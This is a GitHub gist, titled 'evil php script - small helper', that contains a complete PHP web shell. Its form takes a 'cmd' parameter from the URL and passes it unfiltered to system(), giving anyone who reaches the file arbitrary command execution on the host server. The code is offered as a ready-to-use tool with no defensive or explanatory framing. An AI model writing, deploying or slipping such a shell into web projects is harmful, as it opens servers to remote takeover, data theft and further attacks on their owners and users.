Created
June 13, 2020 10:11
-
-
Save katzefudder/d6635c72182b18b6a26ab12effc44a07 to your computer and use it in GitHub Desktop.
evil php script - small helper =)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<form method="get" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
<input type="text" name="cmd" id="cmd" size="80"> | |
<input type="submit" value="Execute"> | |
</form> | |
<pre> | |
<?php | |
if(isset($_GET['cmd'])) | |
{ | |
system($_GET['cmd']); | |
} | |
?> | |
</pre> | |
</body> | |
<script>document.getElementById("cmd").focus();</script> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment